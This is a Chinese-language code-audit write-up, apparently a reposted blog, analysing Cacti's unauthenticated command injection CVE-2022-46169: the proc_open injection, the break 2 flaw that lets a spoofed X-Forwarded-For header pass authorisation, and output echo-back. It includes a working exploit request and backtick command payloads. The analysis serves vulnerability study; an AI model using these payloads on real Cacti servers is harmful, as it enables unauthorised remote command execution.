PHP代码审计其一:Cacti CVE

您所在的位置:网站首页 source graph 企业版 price PHP代码审计其一:Cacti CVE

PHP代码审计其一:Cacti CVE

2023-04-05 19:48| 来源: 网络整理| 查看: 265

简介

命令执行

这个漏洞单说命令执行其实没什么好分析的,是将命令直接拼接进proc_open,但是加上错误使用break 2导致的未授权访问,就有点意思了。

网页回显

再加上P神提示是可以直接在网页回显(现在的复现文章绝大部分都是无直接回显的)值得一写。不过这也有人几小时就搞定了,例如:Cacti的命令注入(CVE-2022-46169) 回显poc构造 - 白帽酱の博客 (rce.moe),还有其他人也搞定了,只是最后构造的命令不同。我在这只写下思路,毕竟构造的命令是他们的成果。

条件

更加令我在意的是达成命令执行的条件,看到的文章只有简短的几句,如vulhub中的复现告诉我要建采集器,建哪个。这套代码传参与条件之间间隔了几十条if语句,还有不少干扰项,从传参到条件有一定的难度。如果是自己在漏洞挖掘时,从条件找到传参该怎么去做。

搭建与复现

不想在虚拟机搭建它,phpstudy linux版也没法用,挺麻烦的,还是用docker好点,vulhub/cacti/CVE-2022-46169](https://github.com/vulhub/vulhub/tree/master/cacti/CVE-2022-46169)。可能是我独有的问题,挂起虚拟机之前先把容器关掉,否则容器无法访问,需要重建。命令执行

给出流程,实际思考时是从命令执行代码往上分析条件。这里参考Cacti命令执行(CVE-2022-46169)漏洞分析 (qq.com)进行了代码简化。

1679814986_641ff14a4329c3ed2fd72.png!small?1679814976382

1. 命令执行代码case POLLER_ACTION_SCRIPT_PHP: /* script (php script server) */ //define('POLLER_ACTION_SCRIPT_PHP', 2); $cactides = array( 0 => array('pipe', 'r'), // stdin is a pipe that the child will read from 1 => array('pipe', 'w'), // stdout is a pipe that the child will write to 2 => array('pipe', 'w') // stderr is a pipe to write to ); if (function_exists('proc_open')) { $cactiphp = proc_open(read_config_option('path_php_binary') . ' -q ' . $config['base_path'] . '/script_server.php realtime ' . $poller_id, $cactides, $pipes); $output = fgets($pipes[1], 1024); $using_proc_function = true; } else { $using_proc_function = false; }

这里使用了proc_open,直接拼接$poller_id,使用Linux管道符号|或者反引号 ``可以优先执行$poller_id。

看看条件POLLER_ACTION_SCRIPT_PHP,这里定义的值是2,往上看看。

2. poll_for_data 条件2function poll_for_data() { global $config; $local_data_ids = get_nfilter_request_var('local_data_ids'); //get_nfilter_request_var 是不过滤获取参数 $host_id = get_filter_request_var('host_id'); $poller_id = get_nfilter_request_var('poller_id'); //命令执行参数 if (cacti_sizeof($local_data_ids)) { //校验是否是数组 foreach($local_data_ids as $local_data_id) { input_validate_input_number($local_data_id); //校验是否是数字 $items = db_fetch_assoc_prepared('SELECT * FROM poller_item WHERE host_id = ? AND local_data_id = ?', array($host_id, $local_data_id)); if (cacti_sizeof($items)) { foreach($items as $item) { switch ($item['action']) { case POLLER_ACTION_SCRIPT_PHP:

1679815082_641ff1aae094e30a84f92.png!small?1679815072629

这里需要三个参数,数组$local_data_ids,$host_id,$poller_id,前两者从上面poller_item表中获取数据。需要$item['action']的值为2,遗憾的是默认的5条数据中没有。怎么生成action为2方法vulhub/README.zh-cn.md at master · vulhub/vulhub · GitHub中有,至于代码分析第四章写。

payload 大致为&local_data_ids[0]=6&host_id=1&poller_id=touch+/tmp/success

继续往上看看,还有什么条件。

3. 条件1if ($config['poller_id'] > 1 && $config['connection'] == 'online') { ... } else { $poller_db_cnn_id = false; } if (!remote_client_authorized()) { // 条件 print 'FATAL: You are not authorized to use this service'; exit; } set_default_action(); switch (get_request_var('action')) { case 'polldata': poll_for_data(); break;

判断$config这是关于数据库连接,默认连接数据库,需要过remote_client_authorized,且这里的action=polldata。

remote_client_authorized

function remote_client_authorized() { global $poller_db_cnn_id; $client_addr = get_client_addr(); if ($client_addr === false) { return false; } ... $pollers = db_fetch_assoc('SELECT * FROM poller', true, $poller_db_cnn_id); if (cacti_sizeof($pollers)) { foreach($pollers as $poller) { if (remote_agent_strip_domain($poller['hostname']) == $client_name) { return true; } elseif ($poller['hostname'] == $client_addr) { return true; } } } return false;}

需要$client_addr == $poller['hostname'],hostname在poller表中,一般为localhost。如果能构造$client_addr为本地地址就能通过。看看get_client_addr怎么获取的地址。

1679815234_641ff2420b702392088d6.png!small?1679815223680

get_client_addr

function get_client_addr($client_addr = false) { $http_addr_headers = array( 'X-Forwarded-For', 'X-Client-IP', 'X-Real-IP', 'X-ProxyUser-Ip','CF-Connecting-IP', 'True-Client-IP', 'HTTP_X_FORWARDED', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'HTTP_CLIENT_IP', 'REMOTE_ADDR', ); $client_addr = false; foreach ($http_addr_headers as $header) { if (!empty($_SERVER[$header])) { $header_ips = explode(',', $_SERVER[$header]); foreach ($header_ips as $header_ip) { if (!empty($header_ip)) { if (!filter_var($header_ip, FILTER_VALIDATE_IP)) { cacti_log('...'); } else { $client_addr = $header_ip; cacti_log('...'); break 2; } } } } } return $client_addr; }

循环获取$http_addr_headers,本应该获取安全的REMOTE_ADDR,但这里用了break 2;如果匹配中了X-Forwarded-For就跳出了两层循环,导致获取到了可以被伪造的X-Forwarded-For。

至此构造基本完成,直接给出vulhub的payload

GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success` HTTP/1.1 X-Forwarded-For: 127.0.0.1 Host: localhost.lan User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1网页回显

1679815306_641ff28a902945e433557.png!small?1679815296566

命令执行代码分析

获取proc_open结果的变量名叫做$output说明本来是可以回显的,print json_encode($return);说明回显格式是json。

$output = fgets($pipes[1], 1024);可以理解为获取命令执行结果

在向下的代码中$output又被再次赋值,直接使用了$pipes。arg1如下图所示。

$output = trim(str_replace("\n", '', exec_poll_php($item['arg1'], $using_proc_function, $pipes, $cactiphp)));

1679815330_641ff2a2906b7301dcfe8.png!small?1679815320518

跟进exec_poll_php

这里$output又从$pipes[1]中读取数据。

function exec_poll_php($command, $using_proc_function, $pipes, $proc_fd) { global $config; $output = ''; /* execute using php process */ if ($using_proc_function == 1) { if (is_resource($proc_fd)) { fwrite($pipes[0], $command . "\r\n"); fflush($pipes[0]); $output = fgets($pipes[1], 8192); if (substr_count($output, 'ERROR') > 0) { $output = 'U'; } } return $output;

pipe是PHP的管道,先进先出,$output读取了两次pipe中的内容,实际上$output是第二次执行的结果。

有什么方式,可以把结果放入第二次读取中呢?让命令执行的结果占两个位置。

方式一:第一次读取1024,那就塞进1024

方式二:\r\n换行就行,用Linux 的echo 输出

echo "\r\n`id`"prepare_validate_result

继续向下,校验$output,$output要有:,不能有空格

function prepare_validate_result(&$result) { /* first trim the string */ $result = trim($result, "'\"\n\r"); elseif (substr_count($result, ':') || substr_count($result, '!')) { /* looking for name value pairs */ if (substr_count($result, ' ') == 0) { dsv_log('prepare_validate_result', 'data has no spaces'); return true; }

可以构造了,可以参考Cacti的命令注入(CVE-2022-46169) 回显poc构造 - 白帽酱の博客 (rce.moe),xxd可以换base64,awk可以换sed,sed和awk用法值得好好学学。

其实简单点也可以

echo "\r\n1:`id`条件 action=2找传参点

命令执行需要$item['action']的值为2,$item['action']在poller_item表中。要构成这个条件,先从Insert into poller_item找起,只有一条。

lib/utility.php poller_update_poller_cache_from_buffer

1679815463_641ff327d77c6a9352e6a.png!small?1679815453913lib/utility.php update_poller_cache这个函数,对action进行赋值,也有poller_update_poller_cache_from_buffer,有if不能确定在这调用。

...... $data_input = db_fetch_row_prepared('SELECT ' . SQL_NO_CACHE . ' di.id, di.type_id, dtd.id AS data_template_data_id, dtd.data_template_id, dtd.active, dtd.rrd_step FROM data_template_data AS dtd INNER JOIN data_input AS di ON dtd.data_input_id=di.id WHERE dtd.local_data_id = ?', array($data_source['id'])); ...... if ($data_input['active'] == 'on') { if (($data_input['type_id'] == DATA_INPUT_TYPE_SCRIPT) || ($data_input['type_id'] == DATA_INPUT_TYPE_PHP_SCRIPT_SERVER)) { if ($data_input['type_id'] == DATA_INPUT_TYPE_PHP_SCRIPT_SERVER) { // DATA_INPUT_TYPE_PHP_SCRIPT_SERVER = 5 $action = POLLER_ACTION_SCRIPT_PHP; // 2 $script_path = get_full_script_path($data_source['id']); } else { $action = POLLER_ACTION_SCRIPT; // 1 $script_path = get_full_script_path($data_source['id']); } $poller_items[] = api_poller_cache_item_add($data_source['host_id'], array(), $data_source['id'], $data_input['rrd_step'], $action, $data_source_item_name, 1, $script_path); ...... if ($commit && cacti_sizeof($poller_items)) { poller_update_poller_cache_from_buffer((array)$data_source['id'], $poller_items, $poller_id)

从这往上有四个可能的函数,再往上需要查看的量就很大了,即使能看,再往上,就难了。

可以看到上面有个SQL语句,当$data_input['type_id']=5时,$action =2。看看这两个表,执行一下。

我重新构造了一下语句

SELECT di.id,di.name, di.type_id, dtd.id AS data_template_data_id, dtd.data_template_id, dtd.active, dtd.rrd_step FROM data_template_data AS dtd INNER JOIN data_input AS di ON dtd.data_input_id=di.id WHERE di.type_id=5

执行结果如下:

1679815572_641ff39415ff4c88098c8.png!small?1679815561858试着在代码中看看有没有查询data_input的,但是收获不大。最终要插入数据,就去页面中看看有什么与create、创建相关的东西,都创建一下,看看数据库有什么变化。

cacti主页就有

1679815595_641ff3ab039aebcd345e4.png!small?1679815584720创建新设备试试

1679815615_641ff3bf2bf4bcce1648a.png!small?1679815604996在创建新图形中看到了刚刚查出来的数据,创建一下。

1679815627_641ff3cb92a3079c3d016.png!small?1679815617503回到数据库看看,说明这两项都与poller_item相关(创建新设备时,设备模板关联了新图形)。

1679815646_641ff3de22ad2aa217610.png!small?1679815635798实际使用payload时,local_data_id host_id hostname都是需要爆破的点。

从传参到条件

环境在docker中,不好配xdebug。直接在poller_update_poller_cache_from_buffer放个var_dump(debug_backtrace());,创建Graph,抓个包可以看到整个链。

/var/www/html/graphs_new.phpform_save-->html_graph_new_graphs-->create_save_graph

-->/var/www/html/lib/template.phppush_out_host

$poller_items = array_merge($poller_items, update_poller_cache($data)); // 赋值action=2

-->/var/www/html/lib/utility.phppoller_update_poller_cache_from_buffer

总结

命令回显有几个点:php管道的读取、Linux命令执行顺序、Linux管道符、Linux反引号中命令优先、sed用法、awk用法。分开来还算比较熟悉,但综合运用少了点。

本来希望纯审计能从条件一步步回溯到传参,很遗憾,没能做到,排除手段少,不等不面对上百的干扰,然后失去耐心。相比PHP反序化链来讲,深度可能不足,但广度远超,毕竟PHP反序化链只有符合不符合规则。

一直用Obsidian记笔记和画思路图,试着用它画简单的审计流程,感觉挺好用的。

参考与工具参考

vulhub/README.zh-cn.md at master · vulhub/vulhub · GitHub

Unauthenticated Command Injection · Advisory · Cacti/cacti · GitHub

Cacti命令执行(CVE-2022-46169)漏洞分析 (qq.com)

Cacti的命令注入(CVE-2022-46169) 回显poc构造 - 白帽酱の博客 (rce.moe)

代码绘图工具

obsidian 的白板功能



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3